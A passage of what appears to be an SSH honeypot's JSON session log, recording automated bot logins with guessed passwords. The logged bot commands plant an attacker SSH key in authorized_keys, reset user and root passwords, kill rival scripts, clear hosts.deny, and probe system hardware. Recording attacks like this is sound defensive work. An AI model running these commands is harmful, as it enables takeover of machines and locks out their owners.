ls)"},{"seq":12,"at":"2026-08-27T12:21:24.342211+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:21:24.605933+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:21:24.883815+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:21:25.145962+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:21:26.046163+00:00","kind":"output","latency_ms":null,"data":" 12:21:26 up 7 days, 9:11, 0 user, load average: 0.18, 0.2, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:21:26.310667+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:21:26.734604+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:21:26.996818+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:21:27.423893+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:21:27.687602+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:21:28.251558+00:00","kind":"output","latency_ms":null,"data":"top - 12:21:28 up 7 days, 9:11, 0 user, load average: 0.18, 0.2, 0.19\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:21:28.521366+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:21:28.891485+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:21:29.163102+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:21:29.852083+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:21:30.127157+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:21:30.489041+00:00","kind":"output","latency_ms":null,"data":"test"},{"seq":29,"at":"2026-08-27T12:21:30.753266+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:21:32.765354+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:21:33.028034+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:21:34.414945+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"test","password":"qwer1234","method":"password","accepted":true,"tier":"other"}]} {"id":"a0ad5f92-56bf-4336-afe4-a229c3791956","name":"painted-cunning-anteater","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":47886,"username":"test","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:21:16.996512+00:00","ended_at":"2026-08-27T12:21:18.796645+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"test","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"759961b7-75f6-4514-a053-98caf8052b15","name":"cheerful-primal-thrush","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":60536,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:21:15.750735+00:00","ended_at":"2026-08-27T12:21:16.475753+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"7e0a0c12-8ed0-4750-a081-597d1a4fbf65","name":"muted-mighty-porcupine","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":45496,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":260,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:19:35.417255+00:00","ended_at":"2026-08-27T12:19:36.334650+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2253,"events":[{"seq":1,"at":"2026-08-27T12:19:10.062666+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:19:10.322946+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:19:14.030034+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:19:15.369818+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:19:15.627995+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Test123\\ncsiRcZNTNGkk\\ncsiRcZNTNGkk\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:19:15.894777+00:00","kind":"input","latency_ms":null,"data":"echo \"Test123\\ncsiRcZNTNGkk\\ncsiRcZNTNGkk\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:19:16.146263+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:19:17.024434+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T12:19:17.648202+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T12:19:18.161097+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T12:19:18.422293+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T12:19:20.247199+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:19:20.508432+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T12:19:22.476692+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T12:19:22.742324+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T12:19:24.868801+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T12:19:25.129058+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T12:19:27.259895+00:00","kind":"output","latency_ms":null,"data":" 12:19:27 up 7 days, 9:09, 0 user, load average: 0.04, 0.05, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T12:19:27.520658+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T12:19:29.449709+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T12:19:29.710902+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T12:19:30.419016+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T12:19:30.682083+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T12:19:31.182782+00:00","kind":"output","latency_ms":null,"data":"top - 12:19:31 up 7 days, 9:09, 0 user, load average: 0.04, 0.05, 0.03\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T12:19:31.442652+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T12:19:32.138793+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T12:19:32.399531+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T12:19:33.046911+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T12:19:33.308728+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T12:19:34.000763+00:00","kind":"output","latency_ms":null,"data":"user"},{"seq":31,"at":"2026-08-27T12:19:34.258524+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T12:19:35.157005+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T12:19:35.418009+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T12:19:36.259171+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user","password":"Test123","method":"password","accepted":true,"tier":"other"}]} {"id":"47742edf-265f-4760-ac34-b6cd21ca284f","name":"wooded-crimson-linnet","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":45502,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:19:12.784539+00:00","ended_at":"2026-08-27T12:19:13.954317+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"40ef9361-14d1-487d-b3fc-21af405e6416","name":"burly-steady-wolverine","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":45498,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:19:10.918543+00:00","ended_at":"2026-08-27T12:19:12.256811+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b79aced4-aad9-4169-a27d-82fe9b3e5e09","name":"wandering-lonesome-jackal","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":55980,"username":"ebi","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":261,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:17:31.960154+00:00","ended_at":"2026-08-27T12:17:33.416619+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2244,"events":[{"seq":1,"at":"2026-08-27T12:17:10.818565+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:17:11.105744+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:17:16.042894+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:17:16.380889+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:17:16.644675+00:00","kind":"input","latency_ms":null,"data":"echo -e \"ebi\\nNoOeIfGFiTIs\\nNoOeIfGFiTIs\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:17:16.913957+00:00","kind":"input","latency_ms":null,"data":"echo \"ebi\\nNoOeIfGFiTIs\\nNoOeIfGFiTIs\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:17:17.165286+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:17:17.869929+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:17:18.130658+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:17:19.911836+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:17:20.175318+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:17:21.396525+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:17:21.659327+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:17:22.036872+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:17:22.298725+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:17:22.805229+00:00","kind":"output","latency_ms":null,"data":" 12:17:22 up 7 days, 9:07, 0 user, load average: 0.26, 0.29, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:17:23.066362+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:17:23.591332+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:17:23.853935+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:17:24.732704+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:17:24.996115+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:17:25.464815+00:00","kind":"output","latency_ms":null,"data":"top - 12:17:25 up 7 days, 9:07, 0 user, load average: 0.26, 0.29, 0.21\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:17:25.727322+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:17:27.068869+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:17:27.331101+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:17:29.411667+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:17:29.674218+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:17:30.301205+00:00","kind":"output","latency_ms":null,"data":"ebi"},{"seq":29,"at":"2026-08-27T12:17:30.564249+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:17:31.700280+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:17:31.961177+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:17:33.340116+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ebi","password":"ebi","method":"password","accepted":true,"tier":"other"}]} {"id":"56c6e652-2d12-4249-ade1-296976d94763","name":"languid-pewter-hornbill","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":55998,"username":"ebi","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:17:14.081383+00:00","ended_at":"2026-08-27T12:17:15.966865+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ebi","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"790f9f13-4402-4279-bb3d-dfb1292d453f","name":"crimson-rugged-opossum","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":55982,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:17:11.657520+00:00","ended_at":"2026-08-27T12:17:13.561841+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4ce08521-74d7-484d-bd2b-50f1e132ad39","name":"languid-dusky-flamingo","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":34528,"username":"ftproot","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":261,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:15:30.385373+00:00","ended_at":"2026-08-27T12:15:31.284296+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2307,"events":[{"seq":1,"at":"2026-08-27T12:15:13.466742+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:15:13.725497+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:15:17.697624+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:15:18.400873+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:15:18.661213+00:00","kind":"input","latency_ms":null,"data":"echo \"root:qjkDcvzuN57B\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:15:18.920803+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:15:19.180250+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:15:19.581142+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:15:19.842886+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:15:20.897197+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:15:21.161499+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:15:22.420354+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:15:22.686024+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:15:23.501870+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:15:23.763520+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:15:24.270434+00:00","kind":"output","latency_ms":null,"data":" 12:15:24 up 7 days, 9:05, 0 user, load average: 0.03, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:15:24.531473+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:15:25.277064+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:15:25.538927+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:15:25.938669+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:15:26.199065+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:15:26.785694+00:00","kind":"output","latency_ms":null,"data":"top - 12:15:26 up 7 days, 9:05, 0 user, load average: 0.03, 0.03, 0.02\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:15:27.048857+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:15:27.475278+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:15:27.736196+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:15:28.100149+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:15:28.359591+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:15:28.949222+00:00","kind":"output","latency_ms":null,"data":"ftproot"},{"seq":29,"at":"2026-08-27T12:15:29.209562+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:15:30.126068+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:15:30.386122+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:15:31.209428+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ftproot","password":"ftproot123","method":"password","accepted":true,"tier":"other"}]} {"id":"c6719c1f-f941-4205-93f1-36950bcf85da","name":"vernal-oaken-warbler","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":41666,"username":"ftproot","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:15:16.537435+00:00","ended_at":"2026-08-27T12:15:17.624575+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ftproot","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"cdafba44-6f51-4b54-8b6d-590f87c240db","name":"marbled-grumpy-sandpiper","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":34544,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:15:14.320622+00:00","ended_at":"2026-08-27T12:15:16.007068+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d9d3e978-c9b7-4f69-b14e-6fc80085d958","name":"cheerful-amber-wren","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":36380,"username":"nico","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":261,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia 